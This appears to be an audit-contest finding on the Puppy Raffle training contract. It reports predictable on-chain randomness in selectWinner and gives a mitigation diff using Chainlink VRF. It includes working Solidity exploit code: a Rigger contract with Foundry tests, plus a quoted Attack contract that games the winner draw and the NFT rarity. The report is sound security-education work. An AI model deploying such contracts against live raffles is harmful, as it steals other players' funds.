Puppy Raffle

AI First Flight #1

Beginner FriendlyFoundrySolidityNFT

EXP

View results

Previous Next

Submission Details

Severity: high

Valid

Weak RNG in selectWinner uses only caller-controlled or block-known inputs, so any player can settle the raffle only in a block where it wins and take 80% of the pool each round; NFT rarity is set by the caller address

friedsocks233

Root + Impact

Description

After the raffle duration has passed, selectWinner should pick a uniformly random winner among the entrants, pay that winner 80% of the collected entrance fees, and mint a puppy NFT of random rarity. The README (point 4) and the contract NatSpec (L16) both promise a random draw.
The winner index at L128-L129 is keccak256(msg.sender, block.timestamp, block.difficulty) % players.length, and the rarity at L139 is keccak256(msg.sender, block.difficulty) % 100. The caller chooses msg.sender, and the other inputs are fixed for the block and readable inside the calling transaction (under solc 0.7.6, block.difficulty compiles to opcode 0x44, which returns PREVRANDAO after the Merge). Because selectWinner is external, has no caller restriction, and stays callable in any block after the deadline, a player's contract can compute the result and call selectWinner only in a block where its own ticket wins.

// src/PuppyRaffle.sol L125-L154

function selectWinner() external {

require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");

require(players.length >= 4, "PuppyRaffle: Need at least 4 players");

uint256 winnerIndex = // @>

uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length; // @>

address winner = players[winnerIndex];

uint256 totalAmountCollected = players.length * entranceFee;

uint256 prizePool = (totalAmountCollected * 80) / 100;

uint256 fee = (totalAmountCollected * 20) / 100;

totalFees = totalFees + uint64(fee);

uint256 tokenId = totalSupply();

// We use a different RNG calculate from the winnerIndex to determine rarity

uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100; // @>

if (rarity <= COMMON_RARITY) {

tokenIdToRarity[tokenId] = COMMON_RARITY;

} else if (rarity <= COMMON_RARITY + RARE_RARITY) {

tokenIdToRarity[tokenId] = RARE_RARITY;

} else {

tokenIdToRarity[tokenId] = LEGENDARY_RARITY;

}

delete players;

raffleStartTime = block.timestamp;

previousWinner = winner;

(bool success,) = winner.call{value: prizePool}("");

require(success, "PuppyRaffle: Failed to send prize pool to winner");

_safeMint(winner, tokenId);

}

Risk

Likelihood:

Any entrant can do this in every round. selectWinner has no caller restriction and stays callable in every block after raffleStartTime + raffleDuration. The attacker needs only one ticket and a small contract that recomputes L129 for its own address.
Each new block has a new block.timestamp, so each block is a new draw, and the attacker skips draws that would not pay it at a cost of gas only. In the PoC, a player holding 1 of 10 tickets won 5 of 5 rounds after 53 one-second draw attempts in total.
The attack needs no privileged role, oracle, or validator cooperation. Because msg.sender is one of the inputs, the attacker can also deploy its calling contract at an address that wins in the first eligible block, which removes any race with honest callers (the PoC does not test this).

Impact:

Direct theft of funds: in the PoC the attacker holds one 1 ETH ticket out of 10. In each of 5 rounds it receives 8 ETH (80% of the 10 ETH pool) plus the puppy NFT, so it nets 7 ETH per round, all paid by the other nine tickets.
Honest players have no real chance of winning any round the attacker settles. Their entrance fees fund the attacker's prize, which breaks the raffle's core promise of a random draw (README point 4, NatSpec L16).
The rarity draw at L139 does not use block.timestamp; it depends only on the caller address and block.difficulty. The PoC shows the stored rarity equals the tier predicted from the caller's address, so whoever calls selectWinner decides which puppy tier is minted.

Proof of Concept

test/PoC_PR-02.t.sol deploys PuppyRaffle with a 1 ETH entrance fee and enters 10 players, one of which is the attacker. A small Rigger contract recomputes the selectWinner hash for its own address and calls selectWinner only when the result is the attacker's ticket. test_PR02_OutcomeIsComputableBeforeTheCall asserts that the precomputed winner equals previousWinner. test_PR02_OneTicketHolderWinsEveryRaffleItSettles asserts that the attacker wins 5 of 5 rounds and receives 8 ETH and the NFT each time. test_PR02_RarityIsFixedByTheCallerAddress asserts that the rarity draw does not change over time and that the stored rarity equals the tier predicted from the caller address. Run it with forge test --match-path test/PoC_PR-02.t.sol -vv.

File test/PoC_PR-02.t.sol; run FOUNDRY_FFI=false forge test --match-path test/PoC_PR-02.t.sol -vv.

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;

pragma experimental ABIEncoderV2;

import {Test, console} from "forge-std/Test.sol";

import {PuppyRaffle} from "../src/PuppyRaffle.sol";

/// A contract an entrant deploys. selectWinner() is permissionless and its

/// "randomness" is keccak256(msg.sender, block.timestamp, block.difficulty):

/// every input is known to (or chosen by) the caller in the same transaction.

/// The rigger computes the outcome first and only lets the draw happen when

/// it pays its owner; otherwise it reverts, costing nothing but gas.

contract Rigger {

PuppyRaffle internal immutable raffle;

address internal immutable beneficiary;

constructor(PuppyRaffle _raffle, address _beneficiary) {

raffle = _raffle;

beneficiary = _beneficiary;

}

function predictedWinnerIndex(uint256 nPlayers) public view returns (uint256) {

// Same expression as PuppyRaffle.selectWinner, with msg.sender == this contract.

return uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % nPlayers;

}

function predictedRarityDraw() public view returns (uint256) {

return uint256(keccak256(abi.encodePacked(address(this), block.difficulty))) % 100;

}

/// Draw only when the computed winner is the beneficiary.

function drawIfWinning(uint256 nPlayers) external returns (bool drew) {

if (raffle.players(predictedWinnerIndex(nPlayers)) != beneficiary) return false;

raffle.selectWinner();

return true;

}

receive() external payable {}

}

contract PoC_PR02 is Test {

PuppyRaffle internal raffle;

uint256 internal constant ENTRANCE_FEE = 1e18;

uint256 internal constant DURATION = 1 days;

uint256 internal constant N_PLAYERS = 10;

address internal feeAddress = address(0xFEE);

address internal attacker = address(0xA77AC);

function setUp() public {

raffle = new PuppyRaffle(ENTRANCE_FEE, feeAddress, DURATION);

}

function _enterTen() internal {

address[] memory ps = new address[](N_PLAYERS);

ps[0] = attacker; // the attacker holds just ONE of ten tickets

for (uint256 k = 1; k < N_PLAYERS; k++) {

ps[k] = address(uint160(0x20000 + k));

}

vm.deal(address(this), N_PLAYERS * ENTRANCE_FEE);

raffle.enterRaffle{value: N_PLAYERS * ENTRANCE_FEE}(ps);

}

/// Baseline: the outcome is fully determined by caller + block data, so

/// anyone can compute it before the transaction executes.

function test_PR02_OutcomeIsComputableBeforeTheCall() public {

_enterTen();

vm.warp(block.timestamp + DURATION + 1);

Rigger r = new Rigger(raffle, attacker);

uint256 predicted = r.predictedWinnerIndex(N_PLAYERS);

address predictedWinner = raffle.players(predicted);

vm.prank(address(r));

raffle.selectWinner();

assertEq(raffle.previousWinner(), predictedWinner, "winner equals the pre-computed prediction");

}

/// The attack: holding 1 ticket in 10 (10% fair odds), the attacker wins

/// every raffle it chooses to settle, by declining draws that do not pay it.

function test_PR02_OneTicketHolderWinsEveryRaffleItSettles() public {

Rigger r = new Rigger(raffle, attacker);

uint256 rounds = 5;

uint256 attempts;

for (uint256 round = 0; round < rounds; round++) {

_enterTen();

vm.warp(block.timestamp + DURATION + 1);

uint256 attackerBefore = attacker.balance;

bool drew;

// Each second is a fresh draw; the attacker just waits for a winning one.

while (!drew) {

attempts++;

drew = r.drawIfWinning(N_PLAYERS);

if (!drew) vm.warp(block.timestamp + 1);

require(attempts < 10_000, "no winning second found");

}

assertEq(raffle.previousWinner(), attacker, "attacker won this round");

// 80% of the 10-ticket pool: 8 ETH for a 1 ETH ticket.

assertEq(attacker.balance - attackerBefore, (N_PLAYERS * ENTRANCE_FEE * 80) / 100, "attacker took the prize pool");

assertEq(raffle.ownerOf(round), attacker, "and the puppy NFT");

}

console.log("rounds won by the 1-in-10 ticket holder:", rounds);

console.log("draw attempts needed (1 per second of delay):", attempts);

}

/// The NFT rarity draw ignores block.timestamp entirely, so the caller's

/// address alone fixes it: an attacker can grind a deployer nonce for a

/// contract address that always mints a legendary (draw >= 96).

function test_PR02_RarityIsFixedByTheCallerAddress() public {

Rigger r = new Rigger(raffle, attacker);

uint256 drawAtT0 = r.predictedRarityDraw();

vm.warp(block.timestamp + 12345);

assertEq(r.predictedRarityDraw(), drawAtT0, "rarity draw does not change with time");

_enterTen();

vm.warp(block.timestamp + DURATION + 1);

vm.prank(address(r));

raffle.selectWinner();

uint256 expectedTier = drawAtT0 <= 70 ? 70 : (drawAtT0 <= 95 ? 25 : 5);

assertEq(raffle.tokenIdToRarity(0), expectedTier, "stored rarity equals the caller-determined draw");

}

Recommended Mitigation

--- a/src/PuppyRaffle.sol

+++ b/src/PuppyRaffle.sol

@@ -6,6 +6,13 @@

import {Address} from "@openzeppelin/contracts/utils/Address.sol";

import {Base64} from "lib/base64/base64.sol";

+/// Chainlink VRF v2 coordinator (only the function used here)

+interface IVRFCoordinatorV2 {

+ function requestRandomWords(bytes32 keyHash, uint64 subId, uint16 minConfirmations, uint32 callbackGasLimit, uint32 numWords)

+ external

+ returns (uint256 requestId);

/// @title PuppyRaffle

/// @author PuppyLoveDAO

/// @notice This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

@@ -25,6 +32,15 @@

uint256 public raffleStartTime;

address public previousWinner;

+ // Verifiable randomness: the seed is unknown to whoever starts or settles the draw

+ IVRFCoordinatorV2 public immutable vrfCoordinator;

+ bytes32 public immutable vrfKeyHash;

+ uint64 public immutable vrfSubId;

+ uint256 public pendingRequestId;

+ uint256 private randomSeed;

+ bool public drawPending;

+ bool public seedReady;

// We do some storage packing to save gas

address public feeAddress;

uint64 public totalFees = 0;

@@ -57,11 +73,21 @@

/// @param _entranceFee the cost in wei to enter the raffle

/// @param _feeAddress the address to send the fees to

/// @param _raffleDuration the duration in seconds of the raffle

- constructor(uint256 _entranceFee, address _feeAddress, uint256 _raffleDuration) ERC721("Puppy Raffle", "PR") {

+ constructor(

+ uint256 _entranceFee,

+ address _feeAddress,

+ uint256 _raffleDuration,

+ IVRFCoordinatorV2 _vrfCoordinator,

+ bytes32 _vrfKeyHash,

+ uint64 _vrfSubId

+ ) ERC721("Puppy Raffle", "PR") {

entranceFee = _entranceFee;

feeAddress = _feeAddress;

raffleDuration = _raffleDuration;

raffleStartTime = block.timestamp;

+ vrfCoordinator = _vrfCoordinator;

+ vrfKeyHash = _vrfKeyHash;

+ vrfSubId = _vrfSubId;

rarityToUri[COMMON_RARITY] = commonImageUri;

rarityToUri[RARE_RARITY] = rareImageUri;

@@ -77,6 +103,7 @@

/// @notice duplicate entrants are not allowed

/// @param newPlayers the list of players to enter the raffle

function enterRaffle(address[] memory newPlayers) public payable {

+ require(!drawPending, "PuppyRaffle: Draw in progress");

require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");

for (uint256 i = 0; i < newPlayers.length; i++) {

players.push(newPlayers[i]);

@@ -94,6 +121,7 @@

/// @param playerIndex the index of the player to refund. You can find it externally by calling `getActivePlayerIndex`

/// @dev This function will allow there to be blank spots in the array

function refund(uint256 playerIndex) public {

+ require(!drawPending, "PuppyRaffle: Draw in progress");

address playerAddress = players[playerIndex];

require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");

require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@@ -122,11 +150,29 @@

/// @dev we use a hash of on-chain data to generate the random numbers

/// @dev we reset the active players array after the winner is selected

/// @dev we send 80% of the funds to the winner, the other 20% goes to the feeAddress

- function selectWinner() external {

+ /// @notice step 1: after the deadline, lock entries and refunds and request randomness

+ function requestDraw() external {

require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");

require(players.length >= 4, "PuppyRaffle: Need at least 4 players");

- uint256 winnerIndex =

- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

+ require(!drawPending, "PuppyRaffle: Draw already requested");

+ drawPending = true;

+ pendingRequestId = vrfCoordinator.requestRandomWords(vrfKeyHash, vrfSubId, 3, 100000, 1);

+ }

+ /// @notice step 2: the coordinator delivers the seed; the callback only stores it, so the winner cannot make it revert

+ function rawFulfillRandomWords(uint256 requestId, uint256[] memory randomWords) external {

+ require(msg.sender == address(vrfCoordinator), "PuppyRaffle: Only VRF coordinator");

+ require(drawPending && !seedReady && requestId == pendingRequestId, "PuppyRaffle: Unexpected request");

+ randomSeed = randomWords[0];

+ seedReady = true;

+ }

+ /// @notice step 3: anyone settles; the result no longer depends on who calls or when

+ function selectWinner() external {

+ require(seedReady, "PuppyRaffle: Randomness not delivered");

+ seedReady = false;

+ drawPending = false;

+ uint256 winnerIndex = randomSeed % players.length;

address winner = players[winnerIndex];

uint256 totalAmountCollected = players.length * entranceFee;

uint256 prizePool = (totalAmountCollected * 80) / 100;

@@ -136,7 +182,7 @@

uint256 tokenId = totalSupply();

// We use a different RNG calculate from the winnerIndex to determine rarity

- uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

+ uint256 rarity = uint256(keccak256(abi.encodePacked(randomSeed, uint256(1)))) % 100;

if (rarity <= COMMON_RARITY) {

tokenIdToRarity[tokenId] = COMMON_RARITY;

} else if (rarity <= COMMON_RARITY + RARE_RARITY) {

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago

Submission Judgement Published

Validated

Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Rewards breakdown

This contest has a flat reward structure with the following payouts:

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being reviewed by our AI judge. Results will be available in a few minutes.

View all submissions

Rewards Distribution

The contest is complete and the rewards are being distributed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!